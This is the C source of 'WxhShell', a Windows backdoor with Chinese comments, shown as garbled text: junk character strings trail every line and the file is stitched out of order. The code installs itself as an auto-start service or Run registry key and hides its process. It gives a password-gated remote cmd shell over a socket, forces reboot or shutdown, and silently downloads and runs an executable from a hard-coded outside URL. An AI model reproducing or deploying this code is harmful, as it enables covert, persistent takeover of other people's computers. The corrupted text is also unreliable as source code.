    } lHhUC16>  
  // 关机 %y%j*B!%  
  case 'd': { l@ap]R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n2fbp\I  
    if(Boot(SHUTDOWN)) 7IjQi=#:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Y^WP?HS  
    else { yn/rW$  
    closesocket(wsh); th&[Nt7  
    ExitThread(0); ()3O=!  
    } l!g]a2x*  
    break; |K|h+fgG6*  
    } y})70w@ +_  
  // 获取shell cJL'$`gWf  
  case 's': { f`&dQ,;  
    CmdShell(wsh); hc'-Dh  
    closesocket(wsh); x4/M}%h!;B  
    ExitThread(0); J|w)&bV  
    break; PK4iuU`vh  
  } 44F`$.v96  
  // 退出 [Ts"OPb% ~  
  case 'x': { V@\%)J'g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8{Fsm;UsY  
    CloseIt(wsh); B0ndcB-  
    break; ~fo6*g:f1  
    } 37RLE1Yf  
  // 离开 jvQ*t_L  
  case 'q': { R%c SJ8O#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !eUDi(   
    closesocket(wsh); /mK?E5H'r1  
    WSACleanup(); fa<v0vb+  
    exit(1); "&%#!2  
    break; (S v~2  
        } }nMPSerE  
  } +|ycvHd  
  } 59Gk3frk(  
wW%4d  
  // 提示信息 Q"7Gy<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A2n qf^b{#  
} HWVtop/  
  } ~jb"5CX  
Ogp"u b8  
  return; z1Ov|Q`  
} DK oN}c  
?PyG/W  
// shell模块句柄 ku..aG`  
int CmdShell(SOCKET sock) +d%L\^?F  
{ c?%(Dp E  
STARTUPINFO si; _Dwqy(   
ZeroMemory(&si,sizeof(si)); =ID 2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HdLH2+|P;D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {N#KkYH{"  
PROCESS_INFORMATION ProcessInfo; oaK%Ww6~  
char cmdline[]="cmd"; U5 r7j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .n=Z:*JqQ  
  return 0; EFc-foN  
} ai0Ut   
JXj8Br?Z@  
// 自身启动模式 CV{r5Sye  
int StartFromService(void) 2"-S<zM  
{ >G'SbQ8  
typedef struct _H^^y$+1  
{ 7 K{Nb  
  DWORD ExitStatus; raQ7.7  
  DWORD PebBaseAddress; 8O"U 0  
  DWORD AffinityMask; 0n/gd"M  
  DWORD BasePriority; NzW`B^p  
  ULONG UniqueProcessId; :F?x)"WoQ+  
  ULONG InheritedFromUniqueProcessId; 8+Bu+|c%f  
}   PROCESS_BASIC_INFORMATION; aceZ3U>W  
vhb)2n  
PROCNTQSIP NtQueryInformationProcess; Nlj^D m  
8#D:H/`'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $.:mai  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >dM8aJzC  
HQ9X7[3  
  HANDLE             hProcess; U #~;)fZ  
  PROCESS_BASIC_INFORMATION pbi; w ;e(Gb%9  
&ciN@nJ|$z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O,.!2wVrN  
  if(NULL == hInst ) return 0; [qoXMuC|P  
A$WZF/x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O0PJ6:9P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v0Ir#B,[H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J4YBqp  
%AW4.3()8  
  if (!NtQueryInformationProcess) return 0; 9RwawTM  
Ap$y%6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {>bW>RO)  
  if(!hProcess) return 0; -!({B H-M_  
j:bgR8 %e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }!i` 0p  
{w <+_++  
  CloseHandle(hProcess); CD0VfA>Z  
.O0O-VD+a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n$(p-po  
if(hProcess==NULL) return 0; 7}_!  
t]-uw-E  
HMODULE hMod; yE} dj)wd  
char procName[255]; :h,`8 Di  
unsigned long cbNeeded; gLsU:aeCT  
J`*iZvW#Bx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <:|3rfm#  
X _$a,"'~)  
  CloseHandle(hProcess); 2ij# H ;  
dr q hQ  
if(strstr(procName,"services")) return 1; // 以服务启动 u z\0cX_  
*U l*%!?D  
  return 0; // 注册表启动 s4H2/EC  
} !Ss HAE|  
!q"CV  
// 主模块 &2I*0  
int StartWxhshell(LPSTR lpCmdLine) 9PUes3"v  
{ Jg$xO@.  
  SOCKET wsl; z{]?h cY  
BOOL val=TRUE; #2xSyOrmf  
  int port=0; D,ly#Nn  
  struct sockaddr_in door; j*;N\;iL!*  
 StYzGJ  
  if(wscfg.ws_autoins) Install(); o5aLU Wi-  
as"N=\N  
port=atoi(lpCmdLine); [*m2  
r(2 R <A  
if(port<=0) port=wscfg.ws_port; GQ_Ia\  
=sOo:s  
  WSADATA data; ;2giZ\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MQcr^Y_  
)yxT+g2!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rn+4DcR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 99 wc  
  door.sin_family = AF_INET; ?PPZp6A3L=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tu%[p 4   
  door.sin_port = htons(port); bb=uF1  
hh.Q\qhubB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gH:ArfC  
closesocket(wsl); RM*f|j  
return 1; x|~zHFm6  
} #^mqQRpgq  
u@.>WHQN  
  if(listen(wsl,2) == INVALID_SOCKET) { ?$%%Mp(  
closesocket(wsl); mgkyC5)d  
return 1; "2Op[~V  
} }C(5-7  
  Wxhshell(wsl); d$;/T('  
  WSACleanup(); W."f 8ow  
GHN3PEJ>  
return 0; @Z\~  
5JFV%odo  
} -fIc4u[  
7!2 HNg  
// 以NT服务方式启动 0\a8}b||  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uMFV% +I  
{ g*-2* \  
DWORD   status = 0; ^b53}f8H  
  DWORD   specificError = 0xfffffff; u.6P-yh  
[!?wyv3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vD=%`G[m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t=dO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WD?Jk9_F  
  serviceStatus.dwWin32ExitCode     = 0; d\Jji 6W  
  serviceStatus.dwServiceSpecificExitCode = 0; &:!ij  
  serviceStatus.dwCheckPoint       = 0; +{rJ[J/g  
  serviceStatus.dwWaitHint       = 0; HZ\k-!2  
\f"?Tv-C'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q\#UWsN(T/  
  if (hServiceStatusHandle==0) return; 4MX7=!E  
1!/-)1t  
status = GetLastError(); En5!"w|j  
  if (status!=NO_ERROR) Bxv8RB  
{ $!`L"szqD*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zrx JN  
    serviceStatus.dwCheckPoint       = 0; !Z/$}xxj  
    serviceStatus.dwWaitHint       = 0; :dDxxrs"  
    serviceStatus.dwWin32ExitCode     = status; $^Ca: duk  
    serviceStatus.dwServiceSpecificExitCode = specificError; j-* TXog  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BW71 s  
    return; 2X_>vIlEm  
  } p\+6"28{_~  
X')S;KW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #`j][F@N  
  serviceStatus.dwCheckPoint       = 0; !`C%Fkq  
  serviceStatus.dwWaitHint       = 0; X,Zd=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uh\]?G[G  
} D-iUN  
MF|*AB|E  
// 处理NT服务事件,比如:启动、停止 ji##$xC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AP ;*iyQ[  
{ )KE_t^$  
switch(fdwControl) LR\zy8y]  
{ YOKR//|3  
case SERVICE_CONTROL_STOP: +:y&{K  
  serviceStatus.dwWin32ExitCode = 0; .Qk{5=l6P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^^ j/  
  serviceStatus.dwCheckPoint   = 0; ;o%:7 &  
  serviceStatus.dwWaitHint     = 0; xSOoIsL[  
  { {jhcZ"#>\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z^+a*^w~{  
  } 5m 3'Gt4  
  return;  wQw-:f-  
case SERVICE_CONTROL_PAUSE: &vkp?UH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2MT_#r_  
  break; J=V yyUB  
case SERVICE_CONTROL_CONTINUE: qSR? ,G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E- KK  
  break; xiJz`KD&  
case SERVICE_CONTROL_INTERROGATE: vo H4  
  break; `rq<jtf+  
}; tgfM:kzw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @LHtt/&  
} Hp*gv/0  
X,&xhSzg?  
// 标准应用程序主函数 Q~h6J*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4UazD_`'  
{ !4L#$VG  
Lv^a+'  
// 获取操作系统版本 sxt`0oE  
OsIsNt=GetOsVer(); 9yDFHz w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jvWI_Fto  
rQ &S<  
  // 从命令行安装 Ef-a4Pi  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Q\\Gw   
!HvGlj@(|  
  // 下载执行文件 .u&|e  
if(wscfg.ws_downexe) { ~X[S<Gi#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V!H(;Tuuo  
  WinExec(wscfg.ws_filenam,SW_HIDE); N]V/83_  
} yIlV[_  
5UPPk$8 `  
if(!OsIsNt) { |zT%$  
// 如果时win9x,隐藏进程并且设置为注册表启动 `|uoqKv  
HideProc(); 5nY9Ls(e  
StartWxhshell(lpCmdLine); l~4_s/  
} kRQ~hRT6  
else >@z d\}@W  
  if(StartFromService()) m\1VF\  
  // 以服务方式启动 FBYll[8  
  StartServiceCtrlDispatcher(DispatchTable); 8g-P_[>  
else 5Zzr5 WM  
  // 普通方式启动 uSH> $;a  
  StartWxhshell(lpCmdLine); aX:#'eDB  
i1tVdbC]  
return 0; iJEB ?y  
} ,9F*96  
keqr%:E8  
7&=-a|k~  
/*AJ+K._  
=========================================== VjC*(6<Gj  
+SO2M|ru&  
h=!M6yap<  
<>SR4  
\nrgAC-b  
nMTLD  
" bcUC4g\9N  
=U=e?AOG2  
#include <stdio.h> |if~i;VKL  
#include <string.h> ]z+*?cc  
#include <windows.h> _{[k[]  
#include <winsock2.h> XulaPq  
#include <winsvc.h> iTj"lA  
#include <urlmon.h> ,}eRnl\  
R5m`;hF  
#pragma comment (lib, "Ws2_32.lib") pp*bqY  
#pragma comment (lib, "urlmon.lib") ;Fx')  
oNiToFbQu  
#define MAX_USER   100 // 最大客户端连接数 dCa}ITg  
#define BUF_SOCK   200 // sock buffer R)sp  
#define KEY_BUFF   255 // 输入 buffer Oqd"0Qt-  
-iY9GN89c  
#define REBOOT     0   // 重启 ERUs0na]  
#define SHUTDOWN   1   // 关机 XRClBTKF  
!w @1!Xpn1  
#define DEF_PORT   5000 // 监听端口 b24NL'jm  
,Wz[tYL*  
#define REG_LEN     16   // 注册表键长度 2N L:\%wz  
#define SVC_LEN     80   // NT服务名长度 5%2ef{T[  
%KbBH:z05  
// 从dll定义API 6V.awg,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w{_e"N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _F}IF9{?G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4w;r l(s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R88(dEK  
54`bE$:+  
// wxhshell配置信息 ZAI1p+  
struct WSCFG { 3X88x-3  
  int ws_port;         // 监听端口 A8_\2'b  
  char ws_passstr[REG_LEN]; // 口令 r24\DvS  
  int ws_autoins;       // 安装标记, 1=yes 0=no `f\5p+!<7R  
  char ws_regname[REG_LEN]; // 注册表键名 Hv[d<ylO  
  char ws_svcname[REG_LEN]; // 服务名 Qh)|FQ[s$r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w JapGc!   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t!J";l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s[0prm5.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <7vIh0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?F?\uC2)'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }V1DyLg :  
-IpV'%nX;  
}; o{ ,ba~$.w  
W _PM!>8`  
// default Wxhshell configuration a -z23$3  
struct WSCFG wscfg={DEF_PORT, LU-#=1Q  
    "xuhuanlingzhe", gE-w]/1zD5  
    1, "@c';".|  
    "Wxhshell", adRNrt*!  
    "Wxhshell", x?k  
            "WxhShell Service", V\iIvBpWg  
    "Wrsky Windows CmdShell Service", <6d{k[7fz)  
    "Please Input Your Password: ", )z ?&" I  
  1, %0ll4"  
  "http://www.wrsky.com/wxhshell.exe", `@u+u0  
  "Wxhshell.exe" XPc9z}/(e  
    }; beN>5coP%A  
7$q2v=tH_  
// 消息定义模块 tF#b&za  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1+16i=BF)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N=O+X~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [[*0MA2Y  
char *msg_ws_ext="\n\rExit."; buq *abON  
char *msg_ws_end="\n\rQuit."; 4%',scn  
char *msg_ws_boot="\n\rReboot..."; ~xlMHf  
char *msg_ws_poff="\n\rShutdown..."; +LQs.*  
char *msg_ws_down="\n\rSave to "; :=iM$_tp'  
W(u6J#2  
char *msg_ws_err="\n\rErr!"; I:uQB!  
char *msg_ws_ok="\n\rOK!"; }\PE {  
'gk81@|  
char ExeFile[MAX_PATH]; zJy 89ib'  
int nUser = 0; 4'}_qAT  
HANDLE handles[MAX_USER]; v$.JmL0^J  
int OsIsNt; "lv:hz  
1OiZNuI:E  
SERVICE_STATUS       serviceStatus; j{7ilo(i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )CwMR'LV  
r2E>sHw  
// 函数声明 6*(h9!_T1  
int Install(void); vUo.BA#;.b  
int Uninstall(void); v2Qc}o  
int DownloadFile(char *sURL, SOCKET wsh); a.Rp#}f  
int Boot(int flag); 1,%#O;ya  
void HideProc(void); rHC+nou  
int GetOsVer(void); Q C\,  
int Wxhshell(SOCKET wsl); OIXAjU*N  
void TalkWithClient(void *cs); RAv RNd  
int CmdShell(SOCKET sock); Dj,+t+|  
int StartFromService(void); &G7)s%q  
int StartWxhshell(LPSTR lpCmdLine); w{:Oa7_A  
XoH[MJC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *Lb(urf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0?5%  
Fl#VKU3h  
// 数据结构和表定义 ERX|cc  
SERVICE_TABLE_ENTRY DispatchTable[] = 'n>3`1E,  
{ SSL%$:l@  
{wscfg.ws_svcname, NTServiceMain}, b68G&z>   
{NULL, NULL} V\rIN}7  
}; f@F^W YQm  
`:bvuc(  
// 自我安装 ~ ];6hxv  
int Install(void) Q#J>vwi=  
{ >F\rBc&  
  char svExeFile[MAX_PATH]; XTi0,e]5{u  
  HKEY key; $3]E8t  
  strcpy(svExeFile,ExeFile); "zeJ4f  
{-v\&w  
// 如果是win9x系统,修改注册表设为自启动 >jrz;r  
if(!OsIsNt) { Vhbj.eX.)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x^='pEt{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [:R P9r}  
  RegCloseKey(key); q~g&hR}K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [! dnm1   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +SuUI-.  
  RegCloseKey(key); P/gb+V=g!  
  return 0; y_7XYT!w  
    } \\R*V'e!  
  } 0oi5]f6g?8  
} \@PUljU]  
else { 7QOC]:r  
:AqnWy  
// 如果是NT以上系统,安装为系统服务 j$mt*z L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xo)?XFM2  
if (schSCManager!=0) -MHX1`P:Sn  
{ ]/V Iff  
  SC_HANDLE schService = CreateService S] K6qY  
  ( X_tW#`  
  schSCManager, o+)LcoP u  
  wscfg.ws_svcname, (;Q <@PZg  
  wscfg.ws_svcdisp, Pdo5 sve  
  SERVICE_ALL_ACCESS, lc$@Jjg9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uZ2v;]\Y6  
  SERVICE_AUTO_START, s=y9!rr  
  SERVICE_ERROR_NORMAL, Ei p~ ~2  
  svExeFile, sNk>0 X[  
  NULL, eFXi )tl  
  NULL, HDW\S#  
  NULL, 1:;&wf  
  NULL, LnRi+n[@7  
  NULL A]SB c2   
  ); !7Nz W7j  
  if (schService!=0) xBI"{nGoN  
  { E~Up\f  
  CloseServiceHandle(schService); aIt 0;D  
  CloseServiceHandle(schSCManager); MlC-Aad(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K` _E>k  
  strcat(svExeFile,wscfg.ws_svcname); gH{\y5%rO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C#?d=x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b1>$sPJ+  
  RegCloseKey(key); 4qSS<SqY  
  return 0; qYu!:xa8  
    } C@?e`=9(  
  } TNPGw!  
  CloseServiceHandle(schSCManager); FO'. a  
} ZV<y=F*~f  
} Ff#N|L'9_  
fN*4(yw  
return 1; ubCJZ"!  
} aXK%m  
EPd.atA  
// 自我卸载 U5ud?z()OA  
int Uninstall(void) Y`O}]*{>8R  
{ Y)j,(9  
  HKEY key; 5$"[gdt)T  
={i&F  
if(!OsIsNt) { +$mskj0s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HG3>RcB  
  RegDeleteValue(key,wscfg.ws_regname); bQN4ozSi  
  RegCloseKey(key); by y1MgQd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sImxa`kb  
  RegDeleteValue(key,wscfg.ws_regname); J0WXH/:  
  RegCloseKey(key); K?OX  
  return 0; C^42=?  
  } /h.3<HI."*  
} VX>t!JP p  
} NMY!-Kv 5  
else { &qI5*aQ8T  
oJp_c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mlw BATi  
if (schSCManager!=0) K~ /V  
{ xo_k"'f+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +U/"F|M  
  if (schService!=0) Lp]C![\>U  
  { 6exlb:  
  if(DeleteService(schService)!=0) { -K'84 bZ  
  CloseServiceHandle(schService); p*&LEjaVM4  
  CloseServiceHandle(schSCManager); :ktX7p~  
  return 0; MLIQ 8=  
  } O>F.Wf5g  
  CloseServiceHandle(schService); I8%'Z>E(  
  } B)cb}.N:  
  CloseServiceHandle(schSCManager); ieF 0<'iF  
} .-26 N6S  
} dSOn\+  
S+xGHi)  
return 1; .6/p4OR|  
} |2&mvjk@H  
gLxy RbVI  
// 从指定url下载文件 Uus)2R7  
int DownloadFile(char *sURL, SOCKET wsh) %Kfa|&'zV  
{ _C8LK.M#j  
  HRESULT hr; K$vRk5U  
char seps[]= "/"; +bd{W]={  
char *token; MGC0^voe  
char *file; -bu. *=  
char myURL[MAX_PATH]; #<>E+r+  
char myFILE[MAX_PATH]; zr9Pm6Rl  
fU~y481 A  
strcpy(myURL,sURL); 257;@;  
  token=strtok(myURL,seps); iR5soIR  
  while(token!=NULL) b2f2WY |z>  
  { VM|)\?Q  
    file=token; .MPOUo/e  
  token=strtok(NULL,seps); O xaua  
  } p[VCt" j  
EGr5xR-  
GetCurrentDirectory(MAX_PATH,myFILE); k+G4<qw  
strcat(myFILE, "\\"); ZU@jtqq  
strcat(myFILE, file); ~9;mZi1-  
  send(wsh,myFILE,strlen(myFILE),0); *7V{yK$O|  
send(wsh,"...",3,0); ;B7|tajd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G8-d%O p  
  if(hr==S_OK) %LlKi5u]  
return 0; g\nL n#  
else A"ph!* i{  
return 1; kRa$jD^?  
"m)O13x  
} .7Bav5 ;  
kV%y%l(6  
// 系统电源模块 %a^!~qV  
int Boot(int flag) P3FpU<OBwp  
{ 2m}]z.w#  
  HANDLE hToken; &|FG#.2yw  
  TOKEN_PRIVILEGES tkp; yXl.Gq>]{  
2-2LmxLG  
  if(OsIsNt) { 3lgy X/?o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h4xdE 0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 62'0)Cy^  
    tkp.PrivilegeCount = 1; XxQ2g&USk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =,Um;hU3r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a #**96Av  
if(flag==REBOOT) { ^o<Nz8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F+^[8zK^  
  return 0; a2)*tbM 9\  
} t$D[,$G9  
else { ]>!_OCe&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V0B4<TTAo~  
  return 0; T js{ )r9  
} ]V\ g$@  
  } 52Ffle8  
  else { $}o,7xAn  
if(flag==REBOOT) { yG_.|%e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?& ^l8gE  
  return 0; IN*Z__l8j`  
} Y{{,62D  
else { l%w|f`B:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B|w}z1.  
  return 0; fkG"72 95A  
} L7="!I  
} r2`?Ta  
aq**w?l  
return 1; TK1M mL  
} aa3YtNpP  
F&Z>B};  
// win9x进程隐藏模块 qo ![#s  
void HideProc(void) }z@hx@N/  
{ TJa%zi  
cW>`Z:6{K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :9>nY  
  if ( hKernel != NULL )  F<1'M#bl  
  { Ho9*y3]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7P(:!ce4-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1O{67Pf  
    FreeLibrary(hKernel); RT 9|E80  
  } HM x9M$  
/;[')RO`  
return; !2,.C+,  
} ?q7Gs)B=^'  
-O6o^Dk  
// 获取操作系统版本 8;bOw  
int GetOsVer(void) 4K,&Q/Vdd7  
{ 5PySCGv  
  OSVERSIONINFO winfo; * tqeq y-X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g-`NsqzD  
  GetVersionEx(&winfo); {<Zqw]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )v.FAV:  
  return 1; +<#-52br\  
  else o{eG6  
  return 0; z#ET-[ I  
} /;J;,G`?  
V!4E(sX  
// 客户端句柄模块 ;">hCM7  
int Wxhshell(SOCKET wsl) Oms`i&}"}  
{ ~'Hwszp b  
  SOCKET wsh; 8A=(,)`}9  
  struct sockaddr_in client; 6Vo}Uaq4  
  DWORD myID; EyiM`)!5  
34:=A0z  
  while(nUser<MAX_USER) e hGC N=  
{ B.b)YE '  
  int nSize=sizeof(client); O5"80z38[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VzNH%  
  if(wsh==INVALID_SOCKET) return 1; r,\(Y@I  
hy rJu{p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pwQ."2x  
if(handles[nUser]==0) v?t+%|dzA  
  closesocket(wsh); 0J B"@U&-  
else v\Gu  
  nUser++; vOU -bF%u  
  } ekXHfA!i%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :2+:(^l  
owB)+  
  return 0; _t7A'`Dh]  
} g.qp _O  
}r[BME  
// 关闭 socket [\y>Gv%  
void CloseIt(SOCKET wsh) jLU)S)  
{ SX.v5plhc  
closesocket(wsh); >U]. k8a)  
nUser--; [&&4lKC}u  
ExitThread(0); auU{I y   
} :JmNy <  
Yy5F'RY  
// 客户端请求句柄 e wR0e.g  
void TalkWithClient(void *cs) jA'+>`@  
{ sP#5l @  
bT |FJ\aC  
  SOCKET wsh=(SOCKET)cs; i+6/ g  
  char pwd[SVC_LEN]; USY^ [@o[f  
  char cmd[KEY_BUFF]; `3Y+:!q  
char chr[1]; N_U D7P1  
int i,j; 7(-<x@e  
`K.yE0^i  
  while (nUser < MAX_USER) { o>h>#!e  
G5Nub9_*X  
if(wscfg.ws_passstr) { _;9)^})$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~drNlt9jf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?UzHQr  
  //ZeroMemory(pwd,KEY_BUFF); p;HZA}p \  
      i=0; Ki2_Nh>tM  
  while(i<SVC_LEN) { |b'AWI81D  
+VDB\n   
  // 设置超时 8dNJZoV  
  fd_set FdRead; TOs|f8ay  
  struct timeval TimeOut; `CBTZG09  
  FD_ZERO(&FdRead); F~6[DqF\|  
  FD_SET(wsh,&FdRead); W0Vjs|/  
  TimeOut.tv_sec=8; idQr^{  
  TimeOut.tv_usec=0; OmW|\d PU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u&:jQ:[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c|XnPqo;f  
E^G=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BRT2=}A  
  pwd=chr[0]; /T0|<r!c  
  if(chr[0]==0xd || chr[0]==0xa) { 5 X rn]  
  pwd=0; DBRTZES  
  break; 4 0eNgm^  
  } 4R.#=]F  
  i++; )!Bv8&;e  
    } k K(,FB  
l?d*g&  
  // 如果是非法用户,关闭 socket _[V 6s#Wk3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  zcc]5>  
} [F e5a  
U3>G9g>^B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >dO^pDSs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ag-*DH0  
BQ(`MM@  
while(1) { (,k=mF  
?V+=uTCq  
  ZeroMemory(cmd,KEY_BUFF); UaB!,vs3st  
:'03*A_[  
      // 自动支持客户端 telnet标准   cVU[>gkg_  
  j=0; d+kIof,  
  while(j<KEY_BUFF) { d] {^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X#fI$9a  
  cmd[j]=chr[0]; Cs<d\"+  
  if(chr[0]==0xa || chr[0]==0xd) { FTn[$q  
  cmd[j]=0; t_3XqjuA  
  break; 5,A/6b  
  } "{}5uth  
  j++; 2Ig.hnHj  
    } ZCa?uzeo]  
BX?Si1c  
  // 下载文件  z>!b  
  if(strstr(cmd,"http://")) { gC?k6)p$N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @uHNz-c  
  if(DownloadFile(cmd,wsh)) K.k=\N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .- w*&Hd7b  
  else e(b*T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VrHFM(RNe  
  } N. uw2Y%  
  else { z}Q54,9m  
H}d&>!\}F  
    switch(cmd[0]) { nI-\HAX  
  V`G]4}  
